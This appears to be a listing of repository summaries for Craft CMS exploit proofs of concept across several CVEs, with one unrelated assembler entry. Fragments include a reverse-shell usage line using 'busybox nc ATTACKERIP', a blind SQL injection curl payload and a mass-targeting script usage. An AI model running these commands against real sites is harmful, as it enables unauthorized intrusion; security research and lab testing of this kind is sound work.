CVE-2025-32432

CVE-2025-32432 - Craft CMS Unauthenticated RCE PoC Working proof-of-concept for CVE-2025-32432 , an unauthenticated remote code execution vulnerability in Craft CMS versions up to and including 5.6.16 also affects 4.x and 3.x trees on equivalent code paths. Search keywords: CVE-2025-32432, Craft...

CVE-2023-36123

CVE-2023-36123 For demonstration purposes only. Exploit works on all Versions of Plain Craft Launcher 2. Download Custom.xaml and import into Plain Craft Launcher 2,then click "Run Command". https://github.com/Hex-Dragon/PCL2/assets/140469824/636d1436-a26d-4f54-ad4f-a7b1bb123783...

keystone

Keystone Engine Keystone is a lightweight multi-platform, multi-architecture assembler framework. It offers some unparalleled features: Multi-architecture, with support for Arm, Arm64 AArch64/Armv8, Ethereum Virtual Machine, Hexagon, Mips, PowerPC, RISC-V, Sparc, SystemZ & X86 include 16/32/64bit...

CVE-2025-32432

CVE-2025-32432 Craft CMS Pre-Auth RCE PoC Critical Pre-Authentication Remote Code Execution in Craft CMS Affected: Craft CMS 3.x, 4.x, and 5.x up to 5.6.16 Info: This exploit is tested against HackTheBox Orion machine Overview This repository contains a proof-of-concept exploit for CVE-2025-32432...

CVE-2025-32432-POC

Craft CMS CVE-2025-32432 Single-Target PoC Authorized testing only. This repository is intended for controlled lab environments, CTF platforms such as Hack The Box, internal validation, and defensive verification. Do not run this against systems you do not own or have explicit permission to test...

CVE-2025-32432-PoC

CVE-2025-32432: Log-Poisoning to RCE Exploit Tool Description This repository contains a professional proof-of-concept PoC exploit written in Go, designed to demonstrate a critical vulnerability chain in Craft CMS. The exploit leverages a log-poisoning vulnerability that leads to Local File...

CVE-2026-28695-craft-rce-bypass

CVE-2026-28695 patch bypass — Craft CMS ≤ 5.9.8 authenticated RCE element-search CVSS 3.x : 8.8 HIGH approx — verify CWE : CWE-502 Unsafe Object Instantiation + CWE-1336 SSTI origin Base : CVE-2026-28695 SSTI via create + Symfony Process Fix : advisory fix e31e508 restricts create to BaseObject —...

Craft-CMS-Exploit

This python script exploits the Remote Code Execution vulnerability CVE-2023-41892 of the Craft CMS, which is a popular content management system. Versions between 4.0.0-RC1 - 4.4.14 are affected by this vulnerability allowing attackers to execute arbitrary code remotely, like a PHP reverse shell...

CVE-2024-37843-POC

CVE-2024-37843-POC POC for CVE-2024-37843. Craft CMS time-based blind SQLi Details available in blog POC curl -X POST '/api/' -H 'Content-Type:application/json' -d '"query":"query IntrospectionQuery assetsorderBy: "assets.volumeId -- \\ \n \n LIMIT 5 AS subquery\nINNER JOIN assets assets ON...

CVE-2024-56145-craftcms-rce

Before you run script again do fuser -k 6666/tcp Usage - python3 poc.py -f targets.txt -i 127.0.0.1 -pr 4 -t 200 Custom command can be used like python3 poc.py -f targets.txt -i 127.0.0.1 -c "whoami" -i is your IP or your vps IP use that by doing ipconfig / ifconfig. Like - python3 poc.py -f...

CVE-2026-28695

CVE-2026-28695 Patch Bypass - Craft CMS Blind RCE Authenticated blind remote code execution in Craft CMS. Bypasses the create - BaseObject restriction added in the CVE-2026-28695 fix commit e31e508. Usage python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP...

Craft-CMS-3.0.25---Cross-Site-Scripting

Craft-CMS-3.0.25 - Cross-Site-Scripting Craft CMS 3.0.25 - Cross-Site Scripting Vulnerability CVE-CVE-2018-20418 https://vulners.com/cve/CVE-2018-20418 Proof of Concept Allows it to run a Cross-Site Scripting by saving a new title from the console tab. POST...

craftcms-vcard-exploit

Craft CMS vCard Plugin Deserialization Vulnerability Craft CMS has a plugin for downloading contacts in a .vcf file format titled "vCard". The plugin can be reviewed in Craft's repository and Github: Craft Plugin Store Github Description This plugin takes a parameter sent by the client, decrypts...

CVE-2025-32432

🔐 CVE-2025-32432 — Craft CMS Pre-Auth RCE Pre-Authentication Remote Code Execution in Craft CMS Discovered & Developed by Mohammed Idrees Banyamer 📌 Overview CVE-2025-32432 is a critical pre-authentication Remote Code Execution RCE vulnerability affecting multiple versions of Craft CMS. By chaini...

CVE-2026-31857

CVE-2026-31857: Craft CMS control panel RCE CVE-2026-31857 is a remote code execution issue in Craft CMS relational condition rules. BaseElementSelectConditionRule::getElementIds renders user-controlled input as an unsandboxed Twig template. An authenticated Control Panel user can submit a crafte...

CVE-2026-31857

CVE-2026-31857 - Craft CMS RCE exploit Python exploit for a RCE vulnerability in the Craft CMS admin panel, triggered via the admin/actions/element-indexes/count-elements endpoint. The injection goes through the elementIds field of a RelatedToConditionRule condition, which gets interpreted as Twi...

CVE-2025-32432-exploit-by-P34NUT

CVE-2025-32432 — Craft CMS Pre-Auth RCE Exploit Author: P34NUT2 Vulnerability: Remote Code Execution Pre-Authenticated in Craft CMS CVE: CVE-2025-32432 Target: Any vulnerable Craft CMS instance 3.x / 4.x / 5.x — tested on Hack The Box: Orion ⚠️ Disclaimer This tool is provided strictly for...

CVE-2026-44011-poc

CVE-2026-44011: Craft CMS authenticated RCE PoC This Python script adapts the attack described in the Craft CMS security advisory. An authenticated Craft user can reach a vulnerable field-layout configuration path and cause the server to execute commands. Scope and requirements Affected versions...

CVE-2026-44011-craftcms-auth-rce

CVE-2026-44011 Craft CMS authenticated RCE PoC For authorized testing only. The Craft CMS advisory lists =4.0.0, =5.0.0, ' -c '' Required arguments: -b, --base-url: Craft URL, including http:// or https://. -u, --username: Control-panel username. -p, --password: Control-panel password. -c,...

CVE-2023-41892

CVE-2023-41892 - Craft CMS Remote Code Execution RCE referensi: https://github.com/advisories/GHSA-4w8r-3xrw-v25g https://securityonline.info/craft-cms-fixes-rce-cve-2023-41892-flaw-rated-10-out-of-10-on-severity-scale/ https://blog.calif.io/p/craftcms-rce...